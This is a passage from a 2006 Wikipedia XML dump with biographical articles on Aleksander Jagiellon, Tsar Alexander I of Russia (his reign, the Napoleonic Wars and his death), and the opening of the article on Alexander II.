His shortage of funds immediately made him subservient to the Polish Senate and nobility (''szlachta''), who deprived him of control of the mint (then one of the most lucrative sources of revenue for the Polish kings), curtailed his prerogatives, and generally endeavored to reduce him to a subordinate position.  This ill-timed parsimony exerted a deleterious effect on Polish politics.  For want of funds, Aleksander was unable to resist the Grand Master of the [[Teutonic Knights]] or prevent Grand Duke of Muscovy [[Ivan III of Russia|Ivan III]] from ravaging Lithuania with the [[Tatars]].  The most the King could do was to garrison [[Smolensk]] and other strongholds and employ his wife Helena, the Tsar's daughter, to mediate a truce between his father-in-law and himself after the disastrous [[Battle of Vedrosha]] (1500). In the terms of the truce, Lithuania had to surrennder about a third of its territory to the nascent Russian state.

During his reign, Poland suffered much humiliation from the attempts of her subject principality, [[Moldavia]], to throw off her yoke.  Only the death of [[Stephen of Moldavia|Stephen]], the great ''[[hospodar]]'' of Moldavia, enabled Poland still to hold her own on the [[Danube River]]; while the liberality of [[Pope Julius II]], who issued no fewer than 29 bulls in favor of Poland and granted Aleksander [[Peter's Pence]] and other financial help, enabled the Polish King to restrain somewhat the arrogance of the Teutonic Order.

In Aleksander, the characteristic virtues of the [[Jagiellon]]s, patience and generosity, degenerated into slothfulness and extravagance.  Frequently he was too poor to pay the expenses of his own table.  He never felt at home in Poland, and bestowed his favor principally upon his fellow-countrymen, the most notable of whom was the wealthy Lithuanian magnate [[Michał Gliński]], who justified his master's confidence by his great victory over the Tatars at Kleck ([[August 5]], [[1506]]), news of which was brought to Aleksander on his deathbed.
[[Image:Senatusconsultum.JPG|366px|thumb|left|King Aleksander in Polish Senate]]
==See also==
* [[History of Poland (1385-1569)]]

==External links==
* [http://www.istorija.net/ Pages and Forums on the Lithuanian History]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=3990 Aleksander Jagiellon on Find-A-Grave]

{{start box}}
{{succession box two to one|before1=[[Kazimierz IV Jagiellon]]|before2=[[Jan I Olbracht]]|title1=[[Grand Duke of Lithuania]]|title2=[[King of Poland]]|years1=1492–1506|years2=1501–1506|after=[[Zygmunt I the Old]]}}
{{end box}}

{{Monarchs of Poland}}

[[Category:1461 births]]
[[Category:1506 deaths]]
[[Category:Polish monarchs]]
[[Category:Lithuanian rulers]]

[[de:Alexander (Polen)]]
[[pl:Aleksander Jagiellończyk]]
[[ru:Александр Ягеллон]]
[[sv:Alexander av Polen]]
[[uk:Александр Яґеллончик]]
[[zh:亚历山大 (波兰)]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander I of Russia</title>
    <id>1590</id>
    <revision>
      <id>42098392</id>
      <timestamp>2006-03-03T20:42:36Z</timestamp>
      <contributor>
        <username>Ksenon</username>
        <id>541820</id>
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      <minor />
      <comment>finland</comment>
      <text xml:space="preserve">'''Aleksander Pavlovich Romanov''' or '''Tsar Alexander I (The Blessed)''', ([[Russian language|Russian]]: Александр I Павлович) ([[December 23]], [[1777]]&amp;ndash;[[December 1]], [[1825]]), was  [[Tsar|Emperor]] of [[Russia]] from [[March 23]], [[1801]]&amp;ndash;[[December 1]], [[1825]] and [[King of Poland]] from [[1815]]&amp;ndash;[[1825]], as well as the first Russian [[Grand Duke of Finland]].

He was born in [[Saint Petersburg]] to Grand Duke Paul Petrovich, afterwards [[Paul I of Russia|Paul I]], and [[Sophie Marie Dorothea of Württemberg|Maria Fedorovna]], daughter of the [[Friedrich II Eugen, Duke of Württemberg|Duke of Württemberg]]. Alexander succeeded to the throne after his father was murdered, and ruled Russia during the chaotic period of the [[Napoleonic Wars]].  The strange contradictions of his character make Alexander one of the most interesting Tsars, and he is one of the most important figures in the history of 19th century Europe. 

[[Image:Aldawe.jpg|thumb|250px|Portrait of Alexander I in the [[Military Gallery]] of the [[Winter Palace]].]]

==Early life==
His complex nature resulted, in truth, from the outcome of the complex character of his early environment and education.  Reared in the free-thinking atmosphere of the court of [[Catherine II of Russia|Catherine the Great]], he had imbibed from his [[Swiss]] tutor, Frederic Caesar de Laharpe, the principles of [[Jean-Jacques Rousseau|Rousseau]]'s gospel of humanity; from his military governor, [[Nikolay Saltykov]], the traditions of Russian autocracy; while his father had inspired him with his own passion of military parade, and taught him to combine a theoretical love of [[mankind]] with a practical contempt for [[men]].  These contradictory tendencies remained with him through life, revealed in the fluctuations of his policy and influencing through him the [[fate]] of the [[world]].

==Succeeds to the throne==
Another element in his character emerged when on [[March 23]], [[1801]] he mounted the throne over the body of his murdered father: a mystic melancholy liable at any moment to issue in extravagant action.  At first, indeed, this exercised but little influence on the [[Emperor of Russia | Emperor]]'s life.  Young, emotional, impressionable, well-meaning and egotistic, Alexander displayed from the first an intention of playing a great part on the world's stage, and plunged with all the ardour of youth into the task of realizing his political ideals.  While retaining for a time the old [[Political minister | ministers]] who had served and overthrown the Emperor Paul, one of the first acts of his reign was to appoint the [[Private Committee]], also called ironically the &quot;[[Committee of Public Safety |Comite du salut public]]&quot;, consisting of young and enthusiastic friends of his own - [[Victor Palvovich Kochubey|Victor Kochubey]], [[Nikolay Nikolayevich Novosiltsev|Nikolay Novosiltsev]], [[Pavel Alexandrovich Stroganov|Pavel Stroganov]] and [[Adam Jerzy Czartoryski]] - to draw up a scheme of internal reform.  Most importantly the liberal [[Mikhail Speransky]] became one of the Tsar's closest advisors, and drew up many plans for elaborate reforms.  Their aims, inspired by their admiration for [[Kingdom of Great Britain | English]] institutions, far outstripped the possibilities of the time, and even after they had been raised to regular ministerial positions but little of their programme could come to pass.  For [[Imperial Russia | Russia]] was not ripe for [[liberty]]; and Alexander, the disciple of the [[revolution]]ist Laharpe, was&amp;mdash;as he himself said&amp;mdash;but &quot;a happy accident&quot; on the throne of the tsars.  He spoke, indeed, bitterly of &quot;the state of [[barbarism]] in which the country had been left by the traffic in men.&quot;

==Early reign==
&quot;Under Paul,&quot; he said, &quot;three thousand [[peasant]]s had been given away like a bag of [[diamond]]s.  If [[civilization]] were more advanced, I would abolish this [[slavery]], if it cost me my [[head (anatomy)|head]]&quot;. But the universal [[Political corruption|corruption]], he complained, had left him no men; and the filling up of the government offices with [[German people|Germans]] and other foreigners merely accentuated the sullen resistance of the &quot;old [[Russians]]&quot; to his reforms.  That Alexander's reign, which began with so large a promise of amelioration, ended by riveting still tighter the chains of the Russian people was, however, due less to the corruption and backwardness of Russian life than to the defects of the tsar himself.  His love of liberty, though sincere, was in fact unreal.  It flattered his [[vanity]] to pose before the world as the dispenser of benefits; but his theoretical [[liberalism]] linked with an [[autocratic]] will which brooked no contradiction. &quot;You always want to instruct me!&quot; he exclaimed to [[Gavril Romanovich Derzhavin|Derzhavin]], the [[List of Justice Ministers of Imperial Russia|Minister of Justice]], &quot;but I am the autocratic emperor, and I will this, and nothing else!&quot; &quot;He would gladly have agreed,&quot; wrote Prince Czartoryski, &quot;that every one should be free, if every one had freely done only what he wished.&quot; Moreover, this masterful temper joined an infirmity of purpose which ever let &quot;I dare not wait upon I would,&quot; and which seized upon any excuse for postponing measures the principles of which he had publicly approved.

===Legal reform===
[[Image:Althorv.jpg|thumb|225px|Bust of Alexander I, by [[Thorvaldsen]].]] The codification of the laws initiated in 1801 was never carried out during his reign; nothing was done to improve the intolerable status of the Russian peasantry; the constitution drawn up by [[Mikhail Speransky]], and passed by the emperor, remained unsigned.  Alexander, in fact, who, without being consciously tyrannical, possessed in full measure the [[tyrant]]'s characteristic distrust of men of ability and independent judgment, lacked also the first requisite for a reforming sovereign: confidence in his people; and it was this want that vitiated such reforms as were actually realized.  He experimented in the outlying provinces of his [[Empire]]; and the Russians noted with open [[murmur]]s that, not content with governing through foreign instruments, he was conferring on [[Poland]], [[Finland]] and the [[Baltic States | Baltic provinces]] benefits denied to themselves.

===Social reforms===
::''Main articles: [[Government reform of Alexander I]] and [[Mikhail Speransky]]''

In Russia, too, certain reforms were carried out; but they could not survive the suspicious interference of the autocrat and his officials. The newly created [[Russian Council of Ministers| Council of Ministers]] and [[State Council]] under [[Governing Senate]], endowed for the first time with certain theoretical powers, became in the end but the slavish instruments of the Tsar and his favorites of the moment.  The elaborate system of [[Education]], culminating in the reconstituted, or new-founded, [[university|universities]] of [[Dorpat]], [[Vilna]], [[Kazan]] and [[Kharkov]], was strangled in the supposed interests of &quot;order&quot; and of [[Russian Orthodox Church | Orthodox]] [[piety]]; while the [[military settlements]] which Alexander proclaimed as a blessing to both [[soldier]]s and [[state]] were forced on the unwilling peasantry and army with pitiless cruelty.  Even the [[Bible]] [[Society]], through which the Emperor in his later mood of [[evangelism|evangelical]] zeal proposed to bless his people, was conducted on the same ruthless lines.  The [[Roman Catholic Church | Roman]] [[Archbishop]] and the Orthodox [[Metropolitan bishop | Metropolitans]] were forced to serve on its committee side by side with [[Protestant]] [[pastor]]s; and [[village]] [[priest]]s, trained to regard any tampering with the letter of the traditional documents of the [[Christian Church | Church]] as [[mortal sin]], became the unwilling instruments for the propagation of what they regarded as works of the [[Devil]].

==Influence on European politics==
===Views held by his contemporaries===
Autocrat and &quot;[[Jacobin]]&quot;, man of the world and mystic, he appeared to his contemporaries as a riddle which each read according to his own temperament.  [[Napoleon I of France|Napoleon I]] thought him a &quot;shifty [[Derogatory use of Byzantine|Byzantine]]&quot;, and called him the [[François Joseph Talma|Talma]] of the North, as ready to play any conspicuous part.  To [[Klemens Wenzel von Metternich|Metternich]] he was a madman to be humoured.  [[Robert Stewart, Viscount Castlereagh|Castlereagh]], writing of him to Lord Liverpool, gives him credit for &quot;grand qualities,&quot; but adds that he is &quot;suspicious and undecided&quot;.
Alexander's grandiose imagination was, however, more strongly attracted by the great questions of [[Europe]]an politics than by attempts at domestic reform which, on the whole, wounded his pride by proving to him the narrow limits of absolute power.

===Alliances with other powers===
On the morrow of his accession he had reversed the policy of Paul, denounced the League of Neutrals, and made peace with [[United Kingdom of Great Britain and Ireland]] (April, [[1801]]), at the same time opening negotiations with [[Francis II, Holy Roman Emperor|Francis II]].  Soon afterwards at [[Memel]] he entered into a close alliance with [[Kingdom of Prussia|Prussia]], not as he boasted from motives of policy, but in the spirit of true [[chivalry]], out of [[friendship]] for the young [[List of Kings of Prussia|King]] [[Frederick William III of Prussia|Frederick William III]] and his beautiful wife [[Louise of Mecklenburg-Strelitz]].  The development of this alliance was interrupted by the short-lived peace of October,  [[1801]]; and for a while it seemed as though [[French Consulate|France]] and [[Imperial Russia|Russia]] might come to an understanding.  Carried away by the enthusiasm of Laharpe, who had returned to [[Russia]] from [[Paris]], Alexander began openly to proclaim his admiration for French institutions and for the person of [[Napoleon I of France|Napoléon Bonaparte]] .  Soon, however, came a change.  Laharpe, after a new visit to Paris, presented to the Tsar his Reflexions on the True Nature of the Consulship for Life, which, as Alexander said, tore the veil from his eyes, and revealed Bonaparte &quot;as not a true [[Patriotism|patriot]]&quot;, but only as &quot;the most famous tyrant the world has produced.&quot; His disillusionment was completed by the murder of the [[Louis-Antoine-Henri de Bourbon-Condé, duc d'Enghien|duc d'Enghien]].  The Russian court went into mourning for the last of the [[Prince of Condé|Condés]], and diplomatic relations with Paris were broken off.

===Opposition to Napoleon===
The events of the [[Napoleonic Wars]] that followed belong to the general history of [[Europe]]; but the Tsar's attitude throughout is personal to himself, though pregnant with issues momentous for the world.  In opposing Napoleon I, &quot;the oppressor of Europe and the disturber of the world's peace,&quot; Alexander in fact already believed himself to be fulfilling a divine mission.  In his instructions to Novosiltsov, his special envoy in [[London]], the Tsar elaborated the motives of his policy in language which appealed as little to the common sense of the prime minister, [[William Pitt the Younger|Pitt]], as did later the treaty of the [[Holy Alliance]] to that of the foreign minister, Castlereagh.  Yet the document is of great interest, as in it we find formulated for the first time in an official despatch those exalted ideals of international policy which were to play so conspicuous a part in the affairs of the world at the close of the revolutionary epoch, and issued at the end of the 19th century in the Rescript of [[Nicholas II of Russia|Nicholas II]] and the conference of the [[Hague]].  The outcome of the [[war]], Alexander argued, was not to be only the liberation of France, but the universal triumph of &quot;the [[sacred]] [[Human rights |rights of humanity]]&quot;. To attain this it would be necessary &quot;after having attached the [[nation]]s to their [[government]] by making these incapable of acting save in the greatest interests of their subjects, to fix the relations of the states amongst each other on more precise rules, and such as it is to their interest to respect.&quot;

A general treaty was to become the basis of the relations of the states forming &quot;the European Confederation&quot;; and this, though &quot;it was no question of realizing the dream of universal peace, would attain some of its results if, at the conclusion of the general war, it were possible to establish on clear principles the prescriptions of the rights of nations.&quot; &quot;Why could not one submit to it,&quot; the Tsar continued, &quot;the positive rights of nations, assure the privilege of neutrality, insert the obligation of never beginning war until all the resources which the mediation of a third party could offer have been exhausted, having by this means brought to light the respective grievances, and tried to remove them? It is on such principles as these that one could proceed to a general pacification, and give birth to a league of which the stipulations would form, so to speak, a new code of the law of nations, which, sanctioned by the greater part of the nations of Europe, would without difficulty become the immutable rule of the cabinets, while those who should try to infringe it would risk bringing upon themselves the forces of the new union.&quot;

===1807 loss to French forces===
[[Image:Alkruger.jpg|thumb|300px|Equestrian portrait of Alexander I (1812)]]

Meanwhile Napoleon, a little deterred by the Russian autocrat's youthful ideology, never gave up hope of detaching him from the coalition.  He had no sooner entered [[Vienna]] in triumph than he opened negotiations with him; he resumed them after the [[Battle of Austerlitz]] ([[December 2]], [[1805]]).  [[Imperial Russia]] and France, he urged, were &quot;geographical allies&quot;; there was, and could be, between them no true conflict of interests; together they might rule the world.  But Alexander was still determined &quot;to persist in the system of disinterestedness in respect of all the states of Europe which he had thus far followed,&quot; and he again allied himself with the [[Kingdom of Prussia]].  The campaign of [[Jena]] and the [[battle of Eylau]] followed; and Napoleon, though still intent on the Russian alliance, stirred up [[Poles]], [[Turkic peoples|Turks]] and [[Persians]] to break the obstinacy of the Tsar.  A party too in Russia itself, headed by the Tsar's brother [[Grand Duke Constantine Pavlovich of Russia|Constantine Pavlovich]], was clamorous for peace; but Alexander, after a vain attempt to form a new coalition, summoned the Russian nation to a holy war against Napoleon as the enemy of the Orthodox faith.  The outcome was the rout of [[Friedland]] ([[June 13]]/ [[June 14 |14]], [[1807]]).  Napoleon saw his chance and seized it.  Instead of making heavy terms, he offered to the chastened autocrat his alliance, and a partnership in his glory. 

The two Emperors met at Tilsit on the [[25 June]], [[1807]]. Alexander, dazzled by Napoleon's [[genius]] and overwhelmed by his apparent generosity, was completely won.  Napoleon knew well how to appeal to the exuberant imagination of his new-found friend.  He would divide with Alexander the Empire of the world; as a first step he would leave him in possession of the [[Danube River | Danubian]] principalities and give him a free hand to deal with [[Finland]]; and, afterwards, the Emperors of the [[Eastern Roman Empire | East]] and [[Western Roman Empire | West]], when the time should be ripe, would drive the [[Ottoman Empire | Turks]] from Europe and march across [[Asia]] to the conquest of [[Indian subcontinent | India]].  A programme so stupendous awoke in Alexander's impressionable mind an ambition to which he had hitherto been a stranger.  The interests of Europe were forgotten. &quot;What is Europe?&quot; he exclaimed to the French ambassador. &quot;Where is it, if it is not you and we?&quot;

===Prussia===
The brilliance of these new visions did not, however, blind Alexander to the obligations of friendship; and he refused to retain the Danubian principalities as the price for suffering a further dismemberment of Prussia. &quot;We have made loyal war,&quot; he said, &quot;we must make a loyal peace.&quot; It was not long before the first enthusiasm of [[Tilsit]] began to wane.  Napoleon I was prodigal of promises, but niggard of their fulfilment.  The French remained in Prussia, the Russians on the Danube; and each accused the other of breach of faith.  Meanwhile, however, the personal relations of Alexander and Napoleon were of the most cordial character; and it was hoped that a fresh meeting might adjust all differences between 
them.  The meeting took place at [[Erfurt]] in October, [[1808]], and resulted in a treaty which defined the common policy of the two Emperors.  But Alexander's relations with Napoleon none the less suffered a change.  He realized that in Napoleon sentiment never got the better of reason, that as a matter of fact he had never intended his proposed &quot;grand enterprise&quot; 
seriously, and had only used it to preoccupy the mind of the Tsar while he consolidated his own power in [[Central Europe]].  From this moment the French alliance was for Alexander also not a fraternal agreement to rule the world, but an affair of pure policy.  He used it, in the first instance, to remove &quot;the geographical enemy&quot; from the gates of [[Saint Petersburg]] by wresting [[Finland]] from the [[Sweden|Swedes]] ([[1809]]); and he hoped by means of it to make the Danube the southern frontier of Russia.

===Franco-Russian Alliance===
Events were in fact rapidly tending to the rupture of the Franco-Russian alliance.  Alexander, indeed, assisted Napoleon in the war of [[1809]], but he declared plainly that he would not allow the [[Austrian Empire]] to be crushed out of existence; and Napoleon complained bitterly of the inactivity of the Russian troops during the campaign.  The Tsar in his turn protested against Napoleon's encouragement of the [[Poles]].  In the matter of the French alliance he knew himself to be practically isolated in Russia, and he declared that he could not sacrifice the interest of his people and empire to his affection for Napoleon. &quot;I don't want anything for myself,&quot; he said to the French ambassador, &quot;therefore the world is not large enough to come to an understanding on the affairs of [[Poland]], if it is a question of its restoration.&quot; 

The treaty of Vienna, which added largely to the [[Duchy of Warsaw]], he complained had &quot;ill requited him for his loyalty,&quot; and he was only mollified for the time by Napoleon's public declaration that he had no intention of restoring Poland, and by a convention, signed on the [[4 January]], [[1810]] but not ratified, abolishing the Polish name and orders of [[chivalry]].

But if Alexander suspected Napoleon, Napoleon was no less suspicious of Alexander; and, partly to test his sincerity, he sent an almost peremptory request for the hand of the [[Grand Duchess]] Anne, the younger sister of the Tsar.  After some little delay Alexander returned a polite refusal, on the plea of the tender age of the [[Princess]] and the objection of the [[Empress dowager]] [[Sophie Marie Dorothea of Württemberg|Maria Fyodorovna]] to the marriage.  Napoleon's answer was to refuse to ratify the convention of the [[4 January]], [[1810]] and to announce his engagement to the [[Archduke |Archduchess]] [[Marie Louise of Austria|Marie Louise]] in such a way as to lead Alexander to suppose that the two marriage treaties had been negotiated simultaneously.  From this time the relation between the two emperors gradually became more and more strained.

The annexation of [[Oldenburg (state) | Oldenburg]], of which the [[Peter Friedrich Wilhelm, Duke of Oldenburg|Duke of Oldenburg]] ([[January 3]], [[1754]]&amp;ndash;[[July 2]], [[1823]]) was the Tsar's uncle, to [[France]] in December, [[1810]], added another to the personal grievances of Alexander against Napoleon; while the ruinous reaction of &quot;the continental system&quot; on Russian trade made it impossible for the Tsar to maintain a policy which was Napoleon's chief motive for the alliance.  An acid correspondence followed, and ill-concealed armaments, which culminated in the [[Summer]] of [[1812]] in Napoleon's invasion of Russia.  Yet, even after the French had passed the frontier, Alexander still protested that his personal sentiments towards the Emperor were unaltered; &quot;but,&quot; he added, &quot;[[God]] Himself cannot undo the past.&quot; It was the occupation of [[Moscow]] and the desecration of the [[Kremlin]], the sacred centre of Holy Russia, that changed his sentiment for Napoleon into passionate hatred.  In vain the French Emperor, within eight days of his entry into Moscow, wrote to the Tsar a letter, which was  one long cry of distress, revealing the desperate straits of the [[Grand Army]], and appealed to &quot;any remnant of his former sentiments.&quot; Alexander returned no answer to these 
&quot;fanfaronnades.&quot; &quot;No more peace with Napoleon!&quot; he cried, &quot;He or I, I or He: we cannot longer reign together!&quot;

===The campaign of 1812===
[[Image:Russparis.jpg|thumb|350px|''Russian army enters [[Paris]] in [[1814]]''.]]
The campaign of [[1812]] was the turning-point of Alexander's life; and its horrors, for which his sensitive nature felt much of the responsibility, overset still more a mind never too well balanced. When Napoleon crossed the Russian border with his [[Grand Army]], Alexander I was quite unprepared for the war, trusting the Francophile chancellor [[Rumyantsev|Nikolay Rumyantsev]] more than his French ambassador [[Alexander Kurakin]], who had warned him about Napoleon's bellicose plans. Russia proclaimed a [[Napoleon's invasion of Russia|Patriotic War]] in defence of the Motherland. At the burning of [[Moscow]], he declared afterwards, his own [[soul]] had found illumination, and he had realized once for all the divine revelation to him of his mission as the peacemaker of Europe.  He tried to calm the unrest of his conscience by correspondence with the leaders of the [[evangelicalism|evangelical]] revival on the [[continent]], and sought for [[omen]]s and [[supernatural]] guidance in texts and passages of [[scripture]].  It was not, however, according to his own account, till he met the [[Barbara Juliana, Baroness von Krudener|Baroness de Krüdener]] &amp;mdash; a religious adventuress who made the conversion of princes her special mission&amp;mdash;at [[Basel]], in the [[Autumn]] of [[1813]], that his soul found peace.  From this time a [[mystic]] [[pietism]] became the avowed force of his political, as of his private actions.  Madame de Krüdener, and her colleague, the evangelist Empaytaz, became the confidants of the Emperor's most secret thoughts; and during the campaign that ended in the occupation of [[Paris]] the imperial [[prayer]]-meetings were the [[oracle]] on whose revelations hung the fate of the world.

==Liberal political views==
From the end of the year [[1818]] Alexander's views began to change.  A [[revolution]]ary [[conspiracy]] among the officers of the guard, and a foolish plot to kidnap him on his way to the [[Congress of Aix-la-Chapelle (1818)|Congress of Aix-la-Chapelle]], are said to have shaken the foundations of his [[Liberalism]].  At Aix he came for the first time into intimate contact with Metternich, and the astute Austrian was swift to take advantage of the psychological moment.  From this time dates the ascendancy of Metternich over the mind of the Russian Emperor and in the councils of Europe.  It was, however, no case of sudden conversion.  Though alarmed by the revolutionary agitation in Germany, which culminated in the murder of his agent, the dramatist [[August von Kotzebue]] ([[March 23]], [[1819]]), Alexander approved of Castlereagh's protest against Metternich's policy of &quot;the governments contracting an alliance against the peoples,&quot; as formulated in the [[Carlsbad Decrees]] of July, [[1819]], and deprecated any intervention of Europe to support &quot;a league of which the sole object is the absurd pretensions of absolute power.&quot;

He still declared his belief in &quot;free institutions, though not in such as age forced from feebleness, nor contracts ordered by popular leaders from their sovereigns, nor constitutions granted in difficult circumstances to tide over a crisis. &quot;Liberty,&quot; he maintained, &quot;should be confined within just limits.  And the limits of liberty are the principles of order&quot;.

It was the apparent triumph of the principles of disorder in the revolutions of [[Naples]] and [[Piedmont (Italy)|Piedmont]], combined with increasingly disquieting symptoms of discontent in France, Germany, and among his own people, that completed Alexander's conversion.  In the seclusion of the little town of [[Troppau]], where in October of [[1820]] the powers met in conference, Metternich found an opportunity for cementing his influence over Alexander, which had been wanting amid the turmoil and feminine intrigues of Vienna and Aix. Here, in confidence begotten of friendly chats over afternoon tea, the disillusioned autocrat confessed his mistake. &quot;You have nothing to regret,&quot; he said sadly to the exultant chancellor, &quot;but I have!&quot;

The issue was momentous. In January Alexander had still upheld the ideal of a free confederation of the European states, symbolized by the Holy Alliance, against the policy of a dictatorship of the great powers, symbolized by the Quadruple Treaty; he had still protested against the claims of collective Europe to interfere in the internal concerns of the sovereign states.  On [[19 November]] he signed the [[Troppau Protocol]], which consecrated the principle of intervention and wrecked the harmony of the concert.

==The revolt of the Greeks==
At [[Congress of Laibach]], whither in the [[Spring (season)|Spring]] of [[1821]] the congress had been adjourned, Alexander first heard of the [[Greek War of Independence | Revolt of the Greeks]].  From this time until his death his mind was torn between his anxiety to realize his dream of a confederation of Europe and his traditional mission as leader of the Orthodox crusade against the [[Ottoman Empire]].  At first, under the careful nursing of Metternich, the former motive prevailed.

He struck the name of [[Alexander Ypsilanti (1792-1828)|Alexander Ypsilanti]] from the Russian army list, and directed his foreign minister, [[John Capodistria | Giovanni, Count Capo d'Istria]], himself a Greek, to disavow all sympathy of [[Russia]] with his enterprise; and, next year, a deputation of the [[Morea]] Greeks on its way to the [[Congress of Verona]] was turned back by his orders on the road.

He made, indeed, some effort to reconcile the principles at conflict in his mind.  He offered to surrender the claim, successfully asserted when the [[Ottoman Sultan]] [[Mahmud II]] had been excluded from the Holy Alliance and the affairs of the [[Ottoman empire]] from the deliberations of Vienna, that the affairs of the East were the &quot;domestic concerns of Russia,&quot; and to march into the [[Ottoman Empire]], as Austria had marched into [[Naples]], &quot;as the mandatory of Europe.&quot;

Metternich's opposition to this, illogical, but natural from the Austrian point of view, first opened his eyes to the true character of Austria's attitude towards his ideals.  Once more in Russia, far from the fascination of Metternich's personality, the immemorial spirit of his people drew him back into itself; and when, in the Autumn of [[1825]], he took his dying Empress [[Louise of Baden]] ([[January 24]], [[1779]]&amp;ndash;[[May 26]], [[1826]]) for change of air to the south of Russia, in order&amp;mdash;as all Europe supposed&amp;mdash;to place himself at the head of the great army concentrated near the Ottoman frontiers, his language was no longer that of &quot;the peace-maker of Europe,&quot; but of the Orthodox Tsar determined to take the interests of his people and of his religion &quot;into his own hands&quot;. Before the momentous issue could be decided, however, Alexander died in [[Taganrog]] on [[1 December]] ([[November 18]], [[Julian calendar | O.S.]]) [[1825]], &quot;crushed&quot;, to use his own words, &quot;beneath the terrible burden of a crown&quot; which he had more than once declared his intention of resigning.  A report, current at the time and often revived, affirmed that he did not in fact die.  By some it is supposed that a mysterious hermit named Fomich, who lived at Tomsk until [[1870]] and was treated with peculiar deference by successive Tsars [[Nicholas I of Russia|Nicholas I]] and [[Alexander II of Russia|Alexander II]], was none other than Alexander.

==A tragic figure==
Modern history knows no more tragic figure than that of Alexander.  The brilliant promise of his early years; the haunting memory of the [[crime]] by which he had obtained the power to realize his ideals; and, in the end, the terrible legacy he left to Russia: a principle of government which, under lofty pretensions, veiled a tyranny supported by [[spies]] and [[secret police]]; an uncertain succession; an army permeated by organized disaffection; an armed Poland, whose hunger for liberty the tsar had whetted but not satisfied; the quarrel with the [[Ottoman Empire]], with its alternative of war or humiliation for Russia; an educational system rotten with official hypocrisy; a Church in which conduct counted for nothing, [[Orthodoxy]] and ceremonial observance for everything; economical and financial conditions scarce recovering from the verge of ruin; and lastly, that curse of Russia&amp;mdash;[[serfdom]].

==Private life==
In private life Alexander displayed many lovable qualities.  All authorities combine in praising his handsome presence and the affability and charm of his address, together with a certain simplicity of personal tastes, which led him in his intercourse with his friends or with the representatives of friendly powers to dispense with ceremony and etiquette.  His personal friendship, too, once bestowed, was never lightly withdrawn.  By nature he was sociable and pleasure-loving, he proved himself a notable patron of the arts and he took a conspicuous part in all the gaieties of the [[congress of Vienna]].  In his later years, however, he fell into a mood of settled melancholy; and, though still accessible to all who chose to approach him with complaints or petitions, he withdrew from all but the most essential social functions, and lived a life of strenuous work and of Spartan simplicity.  His gloom had been increased by domestic misfortune.  He had been married, on [[October 9]], [[1793]], without his wishes being consulted, to the beautiful and amiable princess [[Louise of Baden]] (Elisabeth Alexeyevna), a political match which, as he regretfully confessed to his friend [[Frederick William III of Prussia|Frederick William III]], had proved the misfortune of both; and he consoled himself in the traditional manner.  The two children of the marriage, a little grand-duchess Elizaveta, died on [[12 May]] [[1808]] and the other little grand-duchess Maria, that died six years earlier on [[26 June]] (or [[8 July]]) [[1800]]; and their common sorrow drew husband and wife closer together. Towards the close of his life their reconciliation was completed by the wise charity of the Empress in sympathizing deeply with him over the death of his beloved daughter by [[Princess Maria Naryshkina]].

==Death==
Tsar Alexander I, the man of mystery, became increasingly involved in [[mysticism]] and increasingly more suspicious of those around him. On the way to the conference in [[Aachen]], [[Germany]], an attempt had been made to kidnap him. Now he would trust no one. At home, his young daughter, an only child, died, and his wife became ill.

In [[1825]], the &quot;Tsar of All the Russians&quot; died in the city of [[Taganrog]]. After an official announcement of the Tsar's death, a British ambassador at the Russian court said he had seen Alexander boarding a ship. It was later rumored that a [[monk]] in [[Siberia]], Feodor Kuzmich, was really the former ruler. Whatever the truth, when the [[Soviet]] Government opened Alexander's grave many, many years later, it was empty.

Within weeks of Alexander's death, there was an unsuccessful attempt by liberal-minded military officers to seize power from the crown, now known as the [[Decembrist Revolt]].  The Decembrists were caught off guard by confusion regarding the order of succession.  Historians believe that the secret societies to wrest power from the crown appeared after the Russian officers' return from their [[Napoleonic wars|Napoleonic campaigns]] in [[Europe]] in 1815.

==Offspring==
He had other illegitimate children, nine all together. His other mistresses were [[Sophia Vsevolojsky]], [[Maria Ivanovna Katatcharova]], [[Veronica Dzierzanowska]], [[Marguerite-Josephine Weimer]], and Princess [[Barbara Tourkestanova]].

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{{succession box three to one|before1=[[Paul I of Russia|Paul I]]|before2=[[Gustav IV Adolf of Sweden|Gustav IV Adolf]]|before3=&amp;mdash;|title1=[[Emperor of Russia]]|title2=[[Grand Duke of Finland]]|title3=[[King of Poland]]|years1=[[March 23]], [[1801]]&amp;ndash;[[December 1]], [[1825]]|after=[[Nicholas I of Russia]]|years2=1809&amp;ndash;1825|years3=1815&amp;ndash;1825}}
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{{1911}}

[[Category:1777 births]]
[[Category:1825 deaths]]
[[Category:Natives of Saint Petersburg]]
[[Category:Holstein-Gottorp-Romanov]]
[[Category:Russian emperors]]
[[Category:Rulers of Finland|Alexander I of Russia]]

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  </page>
  <page>
    <title>Alexander II of Russia</title>
    <id>1591</id>
    <revision>
      <id>41917826</id>
      <timestamp>2006-03-02T16:38:24Z</timestamp>
      <contributor>
        <username>Jareth</username>
        <id>293836</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.10.40.202|86.10.40.202]] ([[User talk:86.10.40.202|talk]]) to last version by 156.35.192.3</comment>
      <text xml:space="preserve">[[Image:AlexanderIIRussia.jpeg|frame|right|Alexander II (1818-1881)]] 

'''Alexander (Aleksandr) II Nikolaevitch ([[Russian language|Russian]]: Александр II Николаевич)''' ([[April 17]] [[1818]], [[Moscow]]&amp;ndash;[[March 13]] [[1881]]) was the Emperor ([[Czar]]) of [[Russia]] from [[March 2]] [[1855]] until his [[assassination]]. He was also the [[Grand Duke of Finland]].

Born in 1818 and assassinated in 1881, he was the eldest son of Czar [[Nicholas I of Russia]] and [[Charlotte of Prussia]], daughter of [[Frederick William III of Prussia]] and [[Louise of Mecklenburg-Strelitz]]. His early life gave little indication of his ultimate potential, and up to the time of his accession in [[1855]], few imagined that he would be known to posterity as a great reformer.

==Early life==
Insofar as he may have had political convictions in his youth, Alexander seemed to possess the reactionary spirit predominant in Europe at the time of his birth, a trend which continued in [[Russia]] through to the end of his father's reign. In the period of thirty years during which he was [[heir apparent]], the atmosphere of [[Saint Petersburg, Russia|St. Petersburg]] was unfavourable to the development of any intellectual or political innovation. Government was based on principles under which all freedom of thought and all private initiative were, as far as possible, suppressed vigorously. Personal and official [[censorship]] was rife; criticism of the authorities was regarded as a serious offence.

